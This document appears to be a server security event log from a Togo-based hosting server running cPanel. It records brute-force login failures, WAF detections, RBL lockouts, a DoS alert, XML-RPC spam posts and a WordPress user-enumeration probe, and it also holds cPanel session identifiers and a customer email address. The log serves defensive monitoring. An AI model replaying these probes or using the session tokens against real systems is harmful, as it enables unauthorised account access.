abuser: 140.235.2.122
country_id: 6252001
description:
[2026-07-01 21:55:43 +0000] info [cpaneld] 140.235.2.122 - Lucas "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Lucas (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.136.25.252
country_id: 6252001
description:
[2026-07-01 21:55:45 +0000] info [cpaneld] 45.136.25.252 - Lucas "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Lucas (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 46.253.131.133
country_id: 6252001
description:
[2026-07-01 21:55:37 +0000] info [cpaneld] 46.253.131.133 - ezaishealthplus "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ezaishealthplus (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 194.180.232.236
country_id: 6252001
description:
194.180.232.236 - - [01/Jul/2026:21:55:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7300807&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942938 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:194.180.232.236


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 31.134.11.80
country_id: 241170
description:
31.134.11.80 - - [01/Jul/2026:21:55:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10054855&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942935 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:31.134.11.80


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.94.32.88
country_id: 2017370
description:
185.94.32.88 - - [01/Jul/2026:21:55:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10196383&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942935 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.94.32.88


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 31.134.14.197
country_id: 241170
description:
[2026-07-01 21:55:37 +0000] info [cpaneld] 31.134.14.197 - admin_laurenne "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin_laurenne (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 83.97.119.196
country_id: 6252001
description:
83.97.119.196 - - [01/Jul/2026:21:55:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10130537&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942936 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:83.97.119.196


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.147.235.30
country_id: 6252001
description:
[2026-07-01 21:55:43 +0000] info [cpaneld] 45.147.235.30 - Lucas "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Lucas (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 83.97.116.90
country_id: 6252001
description:
[2026-07-01 21:55:37 +0000] info [cpaneld] 83.97.116.90 - admin_laurenne "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin_laurenne (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.133.113.89
country_id: 6252001
description:
[2026-07-01 21:55:38 +0000] info [cpaneld] 45.133.113.89 - ezaishealthplus "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ezaishealthplus (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.247.163.166
country_id: 6252001
description:
[2026-07-01 21:55:38 +0000] info [cpaneld] 91.247.163.166 - techno "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user techno (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 192.101.65.40
country_id: 6252001
description:
[2026-07-01 21:55:39 +0000] info [cpaneld] 192.101.65.40 - admin_laurenne "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin_laurenne (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 64.49.39.49
country_id: 6252001
description:
64.49.39.49 - - [01/Jul/2026:21:55:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6985370&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942938 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:64.49.39.49


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 193.202.16.24
country_id: 6252001
description:
193.202.16.24 - - [01/Jul/2026:21:55:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13200488&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942938 HTTP/1.1" 404 561 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:193.202.16.24


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.49.37.204
country_id: 6252001
description:
[2026-07-01 21:55:43 +0000] info [cpaneld] 64.49.37.204 - admin_laurenne "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin_laurenne (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 91.246.51.143
country_id: 6252001
description:
91.246.51.143 - - [01/Jul/2026:21:55:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6908058&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942935 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:91.246.51.143


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 83.97.116.90
country_id: 6252001
description:
83.97.116.90 - - [01/Jul/2026:21:55:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12870809&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942935 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:83.97.116.90


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.246.51.143
country_id: 6252001
description:
[2026-07-01 21:55:37 +0000] info [cpaneld] 91.246.51.143 - techno "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user techno (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.141.128.52
country_id: 6252001
description:
[2026-07-01 21:55:37 +0000] info [cpaneld] 45.141.128.52 - Lucas "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Lucas (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 192.101.65.40
country_id: 6252001
description:
192.101.65.40 - - [01/Jul/2026:21:55:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6975377&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942936 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:192.101.65.40


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 193.142.38.238
country_id: 6252001
description:
193.142.38.238 - - [01/Jul/2026:21:55:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7129746&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942936 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:193.142.38.238


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 162.252.54.254
country_id: 6252001
description:
[2026-07-01 21:55:41 +0000] info [cpaneld] 162.252.54.254 - ezaishealthplus "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ezaishealthplus (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 31.134.0.34
country_id: 241170
description:
31.134.0.34 - - [01/Jul/2026:21:55:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9815397&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942935 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:31.134.0.34


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.94.32.178
country_id: 2017370
description:
[2026-07-01 21:55:37 +0000] info [cpaneld] 185.94.32.178 - techno "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user techno (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.136.25.252
country_id: 6252001
description:
45.136.25.252 - - [01/Jul/2026:21:55:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9868653&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942939 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.136.25.252


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 88.218.46.223
country_id: 6252001
description:
[2026-07-01 21:55:44 +0000] info [cpaneld] 88.218.46.223 - admin_laurenne "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin_laurenne (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.83.172.189
country_id: 2245662
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/economie-bleue-le-togo-consolide-sa-strategie/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.83.172.189
country_id: 2245662
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/economie-bleue-le-togo-consolide-sa-strategie/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [01/Jul/2026:21:58:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12871319&pdata=http%253A%252F%252F154.70.82.246&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782943134 HTTP/1.1" 302 0 154.70.82.246 "http://154.70.82.246/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [01/Jul/2026:21:58:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10184856&pdata=http%253A%252F%252Fwww.boutique.cafe.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782943128 HTTP/1.1" 302 0 www.boutique.cafe.tg "http://www.boutique.cafe.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 146.70.168.115
country_id: 6252001
description:
[2026-07-01 21:59:05 +0000] info [cpaneld] 146.70.168.115 - kwbcfbmo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kwbcfbmo (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 223.78.253.182
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2025/02/Prefopat.jpg HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.161.152.23
country_id: 3895114
domain: ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ca-togo.org/actualite/detail/seance-de-restitution-de-la-mission-dimmersion-du-cat-a-lasa-ci HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 193.138.7.166
country_id: 660013
description:
[2026-07-01 22:02:31 +0000] info [whostmgrd] 193.138.7.166 - netwhmcstg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.12.77.100
country_id: 2921044
description:
Jul  1 22:03:16 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.12.77.100 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.128.115.151
country_id: 1814991
description:
Jul  1 22:04:43 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.128.115.151 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 193.138.7.166
country_id: 660013
description:
[2026-07-01 22:04:51 +0000] info [cpaneld] 193.138.7.166 - polyfree "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user polyfree (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.161.141.59
country_id: 3895114
domain: lasnb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/lasnb.com/albums/page HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 152.69.171.23
country_id: 2077456
description:
[2026-07-01 22:05:38 +0000] info [cpaneld] 152.69.171.23 - wifizoneuser "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wifizoneuser (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 152.69.171.23
country_id: 2077456
description:
[2026-07-01 22:06:12 +0000] info [cpaneld] 152.69.171.23 - togoinrdceh "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.105.196.121
country_id: 690791
domain: lasnb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/lasnb.com/mission HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.12.77.100
country_id: 2921044
description:
Jul  1 22:10:04 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.12.77.100 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 191.240.0.70
country_id: 3469034
description:
Denial of Service (DoS) attack was discovered from 191.240.0.70: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.141.60.92
country_id: 2077456
description:
[2026-07-01 22:12:03 +0000] info [whostmgrd] 103.141.60.92 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jul  1 22:12:59 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.36.191.21
country_id: 2750405
description:
185.36.191.21 - - [01/Jul/2026:22:13:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10186338&pdata=https%253A%252F%252Fbutodra.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782944029 HTTP/2.0" 302 0 butodra.tg "https://butodra.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.36.191.21


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 160.179.10.91
country_id: 2542007
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/culture-tourisme/page/2/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.66.181.183
country_id: 953987
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/category/culture-tourisme/page/2/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.102.30.130
country_id: 6252001
description:
[2026-07-01 22:15:31 +0000] info [webmaild] 82.102.30.130 - hilaire.mensah@mesyscom.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.12.77.100
country_id: 2921044
description:
Jul  1 22:16:53 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.12.77.100 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.71.177.169
country_id: 3351879
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=1458 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 212.34.12.217
country_id: 248816
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=1158 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.93.20.146
country_id: 3624060
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/12ieme-ag-de-lafur-moctar-toure-elu-a-la-presidence/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.252.48.111
country_id: 2215636
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?page_id=124 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 64.137.232.154
country_id: 102358
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=2331 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.189.220.15
country_id: 1562822
domain: tdn.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tdn.tg/tag/centres-de-traitement-informatique/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.64.223.21
country_id: 2363686
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?feed=rss2&cat=44 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.187.131.215
country_id: 2464461
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?page_id=122 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.142.40.36
country_id: 272103
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?page_id=508 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.233.19.72
country_id: 3469034
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/category/actu/droits03/feed/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 194.70.234.178
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:194.70.234.178||TA:194.70.234.178||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.2.84
country_id: 690791
description:
Jul  1 22:22:44 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.2.84 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.85.210.56
country_id: 1643084
description:
[2026-07-01 22:22:57 +0000] info [cpaneld] 157.85.210.56 - aogodmm "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.251.26.220
country_id: 6252001
description:
[2026-07-01 22:22:35 +0000] info [cpaneld] 103.251.26.220 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.178.155
country_id: 3175395
description:
Jul  1 22:23:19 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.178.155 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 39.194.5.9
country_id: 1643084
domain: belali.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:15467.belali.tg||ServerName:belali.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:3c7b66cbabcb5b91779d91d04ccc565b5e85d08a||Title:0xb02df221||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 172.236.239.60
country_id: 6252001
description:
[2026-07-01 22:25:00 +0000] info [cpaneld] 172.236.239.60 NEW wcnyaruu:9XFe41V8nitJkAiN address=172.236.239.60,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.12.77.100
country_id: 2921044
description:
Jul  1 22:24:08 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.12.77.100 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 45.79.150.207
country_id: 6252001
description:
[2026-07-01 22:25:11 +0000] info [cpaneld] 45.79.150.207 NEW wcnyaruu:gkXBIUSOVl_P47eo address=45.79.150.207,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.65.224.150
country_id: 3865483
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/uploads/images/33.jpeg HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 174.118.45.202
country_id: 6251999
domain: tdn.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.22||T:APACHE||MV:/wp-json/wp/v2/users?context=view&who=authors&per_page=100&_fields=id%2Cname&_locale=user||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 39.194.5.9
country_id: 1643084
domain: belali.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.belali.tg||ServerName:belali.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:3324caf9fe80a0d68c470a0933aa1ae097792237||Title:0xc844e380||RSV:8.22||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.128.115.151
country_id: 1814991
description:
Jul  1 22:27:03 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.128.115.151 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 39.194.5.9
country_id: 1643084
domain: belali.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.belali.tg||ServerName:belali.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:275262e5bada591e7a8fa64eea8ec6bdfeb9c58c||Title:0xc099ceb9||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 39.194.5.9
country_id: 1643084
domain: belali.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.belali.tg||ServerName:belali.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4baa39c1dc08d82f208faa0f49bd8683c561504a||Title:0xbae71866||RSV:8.22||T:APACHE||


